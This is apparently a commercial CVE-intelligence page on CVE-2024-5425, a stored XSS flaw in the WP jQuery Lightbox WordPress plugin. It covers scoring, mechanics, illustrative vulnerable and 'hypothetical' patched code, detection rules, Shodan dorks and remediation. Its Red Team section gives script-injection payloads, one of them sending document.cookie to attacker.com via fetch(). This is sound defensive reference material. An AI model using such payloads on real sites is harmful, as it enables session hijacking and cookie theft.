☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5425

CVE-2024-5425 Cross-Site Scripting in Wp jquery lightbox
📅 PUBLISHED: 2024-06-07 03:21 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5425 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP jQuery Lightbox plugin for WordPress, affecting all versions up to and including 1.5.4. The flaw resides in insufficient sanitization of the title attribute, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious lightbox, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise.

This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used for image lightbox effects, making it a high-value target for attackers seeking to compromise WordPress sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin vulnerability. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress installations with the WP jQuery Lightbox plugin active.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access, but the impact is significant due to the potential for stored XSS affecting all site visitors.

Deep Dive & Mechanics

The WP jQuery Lightbox plugin processes the title attribute of image elements to display captions. Due to insufficient input sanitization and output escaping, an attacker with Contributor-level access can craft a post or page containing an image with a malicious title attribute. When the lightbox script renders this title, the injected JavaScript executes in the context of the victim's browser.

Attack Flow:

  1. Attacker logs in with Contributor-level credentials.
  2. Attacker creates a new post or page and inserts an image with a title attribute containing a malicious payload, e.g., <img src="valid.jpg" title="<script>alert('XSS')</script>">.
  3. The plugin stores the title without proper sanitization.
  4. When any user (including administrators) views the page, the lightbox script outputs the title, executing the injected script.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or fails to escape output in the JavaScript context where the title is rendered.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.5.4):

// In wp-jquery-lightbox.php or similar
$title = get_post_meta($post->ID, '_wp_attachment_image_alt', true);
if (empty($title)) {
    $title = get_the_title();
}
echo '<a href="' . $url . '" rel="lightbox" title="' . $title . '">';

The $title is directly echoed without escaping, allowing XSS.

Patched Code (hypothetical fix):

$title = get_post_meta($post->ID, '_wp_attachment_image_alt', true);
if (empty($title)) {
    $title = get_the_title();
}
echo '<a href="' . esc_url($url) . '" rel="lightbox" title="' . esc_attr($title) . '">';

Using esc_attr() properly escapes the title attribute, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with WP jQuery Lightbox plugin <= 1.5.4.
  • Attacker account with Contributor-level access or higher.

Exploit Steps:

  1. Log in to WordPress as a Contributor.
  2. Create a new post or page.
  3. Insert an image with a malicious title attribute:
    <img src="https://example.com/valid-image.jpg" title="<script>alert(document.cookie)</script>">
    
  4. Publish the post.
  5. When an administrator or visitor views the post, the script executes.

Example Payload:

<img src="https://example.com/image.jpg" title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">

Blue Team (Detection & Hardening)

Detection:

  • Monitor for posts/pages containing suspicious title attributes with script tags.
  • Use WAF rules to block requests with <script> in image title parameters.

Hardening:

  • Disable the plugin until a patch is available.
  • Restrict Contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/wp-jquery-lightbox/wp-jquery-lightbox.php (version 1.5.4)
  • Network: HTTP requests to /wp-admin/post.php or /wp-admin/post-new.php with malicious title parameters.
  • Logs: WordPress debug logs showing esc_attr warnings or unescaped output.
  • Browser: Execution of unexpected JavaScript on pages using the lightbox.

Detection Engineering

YARA Rule

rule wp_jquery_lightbox_xss {
    meta:
        description = "Detects WP jQuery Lightbox plugin files with unescaped title output"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5425"
    strings:
        $unescaped = /title="[^"]*\$[^"]*"/ nocase
        $vuln_func = /echo.*\$title/ nocase
    condition:
        $unescaped and $vuln_func
}

Sigma Rule

title: WP jQuery Lightbox Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-5425 via malicious title attributes
author: Valters IT
logsource:
    category: web
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php*'
        http.body: '*title=*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of script tags in titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5425 WP jQuery Lightbox Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"title="; http_client_body; content:"<script>"; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Review and remove any suspicious posts/pages created by Contributor-level users.
  3. Implement a Web Application Firewall (WAF) rule to block requests containing <script> in title parameters.

Long-term Fix:

  • The vendor must release a patched version that properly escapes the title attribute using esc_attr().
  • Until then, consider replacing the plugin with an alternative lightbox solution.

Workaround:

  • Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP jQuery Lightbox"
http.html:"wp-jquery-lightbox"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5425/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.